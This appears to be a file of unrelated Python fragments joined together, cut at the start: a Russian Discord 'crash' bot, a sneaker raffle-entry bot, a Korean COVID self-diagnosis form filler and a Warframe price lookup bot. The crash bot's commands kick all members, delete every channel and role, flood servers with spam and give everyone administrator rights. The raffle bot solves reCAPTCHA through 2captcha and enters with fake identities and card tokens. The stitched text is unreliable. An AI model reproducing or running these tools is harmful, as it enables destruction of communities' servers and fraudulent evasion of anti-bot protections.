message.author.bot: #кик всех участников await message.delete() cdn = 1 for i in message.guild.members: await asyncio.sleep(0.1) try: if i != message.author: await i.kick() #кик m = m + 1 except: pass cdn = 0 await message.author.send('**:boot: Участников кикнуто: **' + str(m)) if message.content == '*переименовать' and not message.author.bot: #переименовывание сервера await message.delete() cdn = 1 await asyncio.sleep(0.1) try: await message.guild.edit(name='Biohazard CRASH' ) #переименовывание with open('chaos.jpeg', 'rb') as f: icon = f.read() await message.guild.edit(icon=icon) except: pass cdn = 0 if message.content == '*каналы-' and not message.author.bot: #удаление всех каналов await message.delete() cdn = 1 for i in message.guild.channels: await asyncio.sleep(0.1) try: await i.delete() #удаление c = c + 1 except: pass cdn = 0 await message.author.send( '**:wastebasket: Каналов удалено: **' + str(c)) await message.guild.create_text_channel(name='chat') if message.content == '*роли-' and not message.author.bot: #удаление всех ролей await message.delete() cdn = 1 for i in message.guild.roles: await asyncio.sleep(0.1) try: await i.delete() #удаление r = r + 1 except: pass cdn = 0 await message.author.send('**:wastebasket: Ролей удалено: **' + str(r)) if message.content == '*каналы+' and not message.author.bot: #бесконечное создание каналов и категорий cdn = 1 await message.delete() await asyncio.sleep(0.1) try: while c < 500: c += 1 await message.guild.create_text_channel( name='crash-by-biohazard' ) #создание текстового канала await message.guild.create_category( name='Crash by Biohazard') #создание категории await message.guild.create_voice_channel( name='Crash by Biohazard' ) #создание голосового канала except: pass cdn = 0 if message.content == '*заразаканалы' and not message.author.bot: #переименовывание всех каналов await message.delete() cdn = 1 for i in message.guild.channels: await asyncio.sleep(0.1) try: await i.edit(name='Crash by Biohazard' ) #переименовывание c = c + 1 except: pass await message.author.send('**:microbe: Каналов заражено: **' + str(c)) cdn = 0 if message.content == '*заразароли' and not message.author.bot: #переименовывание всех ролей await message.delete() cdn = 1 for i in message.guild.roles: await asyncio.sleep(0.1) try: await i.edit(name='Crash by Biohazard', colour=discord.Colour(0x00cc00) ) #переименовывание r = r + 1 except: pass await message.author.send('**:microbe: Ролей заражено: **' + str(r)) cdn = 0 if message.content == '*роли+' and not message.author.bot: #бесконечное создание ролей cdn = 1 await message.delete() await asyncio.sleep(0.1) try: while r < 250: await message.guild.create_role( name='Crash by Biohazard', colour=discord.Colour(0x00cc00)) #создание роли r += 1 except: pass cdn = 0 if message.content == '*канал-' and not message.author.bot: #удаление текущего канала await message.delete() cdn = 1 await message.channel.delete() await message.author.send(':wastebasket: **Канал** `' + str(message.channel) + '` **удалён безвозвратно!**') time.sleep(30) cdn = 0 if message.content == '*заразаканал' and not message.author.bot: #заражение текущего канала await message.delete() cdn = 1 await message.channel.edit(name='crash-by-biohazard') await message.author.send(':microbe: **Канал** `' + str(message.channel) + '` **заражён!**') time.sleep(30) cdn = 0 if message.content == '*лс' and not message.author.bot: cdn = 1 await message.delete() for i in message.guild.members: await i.send( 'Внимание, сервер {0.guild.name} крашится. С любовью, :biohazard: Biohazard :heart:\n Группа ВК бота: https://vk.com/biohazardbot\n Discord сервер бота: https://discord.gg/zYaqUkC' .format(message)) cdn = 0 if message.content == '*лаги' and not message.author.bot: #лаги await message.delete() cdn = 1 embed = discord.Embed(title=":biohazard: КРАШ!!!", description="", color=0x00cc00) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) embed.add_field( name= ':biohazard: :biohazard: :biohazard: :biohazard: :biohazard:', value='Внимание, сервер крашится.', inline=False) while s < 500: for i in message.guild.text_channels: await i.send('@everyone', embed=embed) s += 1 cdn = 0 if message.content == '*текст' and not message.author.bot: await message.delete() cdn = 1 for i in message.guild.text_channels: await asyncio.sleep(0.1) try: await i.delete() #удаление c = c + 1 except: pass cdn = 0 await message.author.send( '**:wastebasket: Каналов удалено: **' + str(c)) if message.content == '*голос' and not message.author.bot: await message.delete() cdn = 1 for i in message.guild.voice_channels: await asyncio.sleep(0.1) try: await i.delete() #удаление c = c + 1 except: pass cdn = 0 await message.author.send( '**:wastebasket: Каналов удалено: **' + str(c)) if message.content == '*категории' and not message.author.bot: await message.delete() cdn = 1 for i in message.guild.categories: await asyncio.sleep(0.1) try: await i.delete() #удаление c = c + 1 except: pass cdn = 0 await message.author.send( '**:wastebasket: Категорий удалено: **' + str(c)) if message.content == '*селфбан' and not message.author.bot: await message.delete() if message.author != message.guild.owner: await message.author.ban() else: await message.channel.send( ':x: Вы не можете забанить себя, т.к. являетесь владельцем сервера.' ) if message.content == '*аудит' and not message.author.bot: await message.delete() while c < 500: oi = await message.channel.create_invite(max_age=86400) ch = await message.guild.create_text_channel( name='crash-by-biohazard') await ch.delete() c += 1 if message.content == '*блок' and not message.author.bot: await message.delete() await message.channel.set_permissions( message.guild.default_role, send_messages=False) await message.author.send(':white_check_mark:') if message.content == '*разблок' and not message.author.bot: await message.delete() await message.channel.set_permissions( message.guild.default_role, send_messages=True) await message.author.send(':white_check_mark:') if message.content == '*блоквезде' and not message.author.bot: await message.delete() for i in message.guild.text_channels: await i.set_permissions(message.guild.default_role, send_messages=False) await message.author.send(':white_check_mark:') if message.content == '*разблоквезде' and not message.author.bot: await message.delete() for i in message.guild.text_channels: await i.set_permissions(message.guild.default_role, send_messages=True) await message.author.send(':white_check_mark:') if message.content == '*очистить' and not message.author.bot: await message.delete() await message.channel.purge() if vips.find(str( message.author.id)) != -1 and not message.author.bot: if message.content.startswith('*випканалы+'): await message.delete() n = message.content.replace('*випканалы+', '') while True: await message.guild.create_text_channel(name=n) await message.guild.create_voice_channel(name=n) await message.guild.create_category(name=n) if message.content.startswith('*випроли+'): await message.delete() n = message.content.replace('*випроли+', '') while True: await message.guild.create_role( name=n, colour=discord.Colour(0x00cc00)) if message.content.startswith('*виповнеру'): await message.delete() n = message.content.replace('*виповнеру', '') await message.guild.owner.send(n) if message.content.startswith('*виплс'): n = message.content.replace('*виплс', '') await message.delete() for i in message.guild.members: await i.send(n) if message.content.startswith('*виппереименовать'): await message.delete() n = message.content.replace('*виппереименовать', '') with open('chaos.jpeg', 'rb') as f: icon = f.read() await message.guild.edit(name=n, icon=icon) if message.content.startswith('*випфлуд'): await message.delete() n = message.content.replace('*випфлуд', '') while s <= 500: for channel in message.guild.text_channels: await channel.send(n) s = s + 1 if message.content.startswith('*випник'): n = message.content.replace('*випник', '') await message.delete() for i in message.guild.members: await i.edit(nick=str(n)) if message.content.startswith('*випадминка'): await message.delete() await message.guild.default_role.edit( permissions=Permissions.all()) await message.author.send( ':unlock: **Все получили админку!**')
def task(): s = requests.session() # here we post site key to 2captcha to get captcha ID (and we parse it here too) captcha_id = s.post("http://2captcha.com/in.php?key={}&method=userrecaptcha&googlekey={}&pageurl={}".format(API_KEY, site_key, url)).text.split('|')[1] # then we parse gresponse from 2captcha response recaptcha_answer = s.get("http://2captcha.com/res.php?key={}&action=get&id={}".format(API_KEY, captcha_id)).text print("solving ref captcha...") while 'CAPCHA_NOT_READY' in recaptcha_answer: print('Captcha not ready...') sleep(5) recaptcha_answer = s.get("http://2captcha.com/res.php?key={}&action=get&id={}".format(API_KEY, captcha_id)).text recaptcha_answer = recaptcha_answer.split('|')[1] def random_string_generator_variable_size(min_size, max_size, allowed_chars): return ''.join(random.choice(allowed_chars) for x in range(randint(min_size, max_size))) def random_with_N_digits(n): range_start = 10 ** (n - 1) range_end = (10 ** n) - 1 return randint(range_start, range_end) phoneNumber = random_with_N_digits(10) chars = string.ascii_letters rando = random_string_generator_variable_size(6, 12, chars) randoAddy = random_string_generator_variable_size(3, 3, chars) headers = { "content-type": "application/json", "accept": "application/json", "accept-encoding": "gzip, deflate", "accept-language": "en-US,en;q=0.8", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" } email = rando + catchall payload = { "email": email, "product_id": "3906146598960", "challenge_response": recaptcha_answer, } validateEmail = 'https://eb-draw.herokuapp.com/customers/validateEmail' s.post(validateEmail, headers=headers, json=payload) newUserLink = 'https://eb-draw.herokuapp.com/customers/new' newPayload = { "first_name": names.get_first_name(gender='male'), "last_name": names.get_last_name(), "email": email } response = s.post(newUserLink, headers=headers, json=newPayload) json_raffle = json.loads(response.text) customerID = json_raffle["id"] entryPaylod = { "shipping_first_name": names.get_first_name(gender='male'), "shipping_last_name": names.get_last_name(), "customer_id": customerID, "variant_id": varient, "street_address": randoAddy + " " + address + " " + address2, "city": city, "zip": zip, "state": state, "phone": phoneNumber, "country": "United States", "delivery_method": "online" } entryLink = 'https://eb-draw.herokuapp.com/draws/entries/new' raffle_id = s.post(entryLink, headers=headers, json=entryPaylod) json_raffleid = json.loads(raffle_id.text) raffleid = json_raffleid["id"] tokenAPI = "https://api.stripe.com/v1/tokens?card[number]=" + cc + "&card[cvc]=" + cvv + "&card[exp_month]=" + exp_month + "&card[exp_year]=" + exp_year + "&guid=45c139ce-e8db-40b6-949d-a49b8d950216&muid=9fec740c-b7c8-46e1-9367-4a0c09cf6ce1&sid=087a8e05-bf23-4bb3-bf25-0bbb916ef0df&payment_user_agent=stripe.js%2Ff13a0323%3B+stripe-js-v3%2Ff13a0323&referrer=https%3A%2F%2Fshop.extrabutterny.com%2Fproducts%2Fadidas-yeezy-350-v2-citrin-fw3042%3Fvariant%3D29633029046320&key=pk_live_u42h9k3kHDcKpj3DjgyIXjc7" tokenHeaders = { "Accept": "application/json", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://js.stripe.com", "Referer": "https://js.stripe.com/v3/controller-c62905a44c003da4daa7d77169f71ef7.html", "Sec-Fetch-Mode": "cors", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" } tokenReq = requests.post(tokenAPI, headers=tokenHeaders) json_tokenReq = json.loads(tokenReq.text) token = json_tokenReq["id"] checkoutlink = 'https://eb-draw.herokuapp.com/draws/entries/checkout' checkoutPayload = { "checkout_token": token, "entry_id": raffleid } s.post(checkoutlink, headers=headers, json=checkoutPayload) webhook = DiscordWebhook(url=webhookURL) embed = DiscordEmbed(title='Raffle Bot - Succes!', description='Succesful entry on extra butter - email ' + email, color=int('009000')) webhook.add_embed(embed) webhook.execute()
select2 = app.find_element_by_xpath('//*[@id="rspns02"]') select2.click() select3 = app.find_element_by_xpath('//*[@id="rspns070"]') select3.click() select4 = app.find_element_by_xpath('//*[@id="rspns080"]') select4.click() select5 = app.find_element_by_xpath('//*[@id="rspns090"]') select5.click() time.sleep(3) select6 = app.find_element_by_xpath('//*[@id="btnConfirm"]') select6.click() is_complete = app.get_screenshot_as_file("ok.png") if is_complete: with open("ok.png", "rb") as f: webhook.add_file(file=f.read(), filename='self-diagnosis.png') embed = DiscordEmbed(title='Auto Self-diagnosis', description='교육부 코로나19 자가진단 자동화 System', color=242424) embed.set_image(url="attachment://self-diagnosis.png") webhook.add_embed(embed) response = webhook.execute() print("Complete!") time.sleep(2) app.close()
async def rivenPrice(self, ctx, *weapon): name = ' '.join(weapon) Chinese = name weapon = weapons.get(name, "Empty") if weapon == "Empty": weapon = name weapon = weapon.lower().replace(" ", "_") url = 'https://api.warframe.market/v1/auctions/search?type=riven&weapon_url_name=' + weapon + '&sort_by=price_asc' html = requests.get(url) weapon = weapon.replace("_", " ") if html.status_code != 200: await ctx.send( embed=discord.Embed(title="出錯啦!", description='查到...Ordis發生錯誤...API出錯!', color=0xff0000)) print(weapon) return () else: rivenData = json.loads(html.text) rivenData = rivenData['payload'] rivenData = rivenData['auctions'] count = 0 if str(ctx.channel.type) != 'private': channel_id = ctx.channel.id else: channel_id = None webhookID = jdata.get("webhook", "Blank") webhookID = requests.get(webhookID) webhookID = json.loads(webhookID.text) webhookID = webhookID['channel_id'] message = f'以下為{Chinese}紫卡的查詢結果(按價格由低至高順序)\n>>> ' webhook = DiscordWebhook(url=jdata['webhook'], content=message) for items in rivenData: if count < 3: owner = items['owner'] if owner['status'] != 'offline': rivenItem = items['item'] rivenName = rivenItem['name'] message += f'```autohotkey\n紫卡名稱:{Chinese} {rivenName}\n' ownerName = owner['ingame_name'] avatar = owner['avatar'] if avatar == None: avatar = "user/default-avatar.png" message += f'賣家:{ownerName}\n' rank = rivenItem['mod_rank'] rerolls = rivenItem['re_rolls'] message += f'等級:{rank}\n' message += f'迴圈次數:{rerolls}\n' embed = DiscordEmbed( title=f"紫卡名稱:{Chinese} {rivenName}", description=f'等級:{rank} 迴圈次數:{rerolls}', color=0xb59dd4) embed.set_author( name=ownerName, icon_url="https://warframe.market/static/assets/" + avatar, url="https://warframe.market/zh-hant/profile/" + ownerName) if items['top_bid'] == 'None': top_bid = items['top_bid'] message += f'目前競標:{top_bid}\n' embed.add_embed_field(name="目前競標:", value=top_bid) else: starting_price = items['starting_price'] buyout_price = items['buyout_price'] if starting_price == buyout_price: message += f'價格:{buyout_price}``````diff\n' embed.add_embed_field(name="價格:", value=buyout_price) else: message += f'起標價格:{starting_price}\n' message += f'買斷價格:{buyout_price}``````diff\n' embed.add_embed_field(name="價格:", value=buyout_price, inline=False) positive = '' negative = '' for attr in rivenItem['attributes']: attribute = attr['url_name'] attribute = attrDict.get(attribute, attribute) value = attr['value'] if attr['positive'] == True: message += f'+正面詞條:{attribute} {value}\n' positive += f'{attribute} {value}\n' elif attr['positive'] == False: message += f'-負面詞條:{attribute} {value}\n' negative = f'{attribute} {value}' embed.add_embed_field(name="正面詞條:", value=positive[:-1]) if negative != '': embed.add_embed_field(name="負面詞條:", value=negative) count += 1 message += '```\n' webhook.add_embed(embed) if eval(webhookID) == channel_id: response = webhook.execute() else: await ctx.send(message)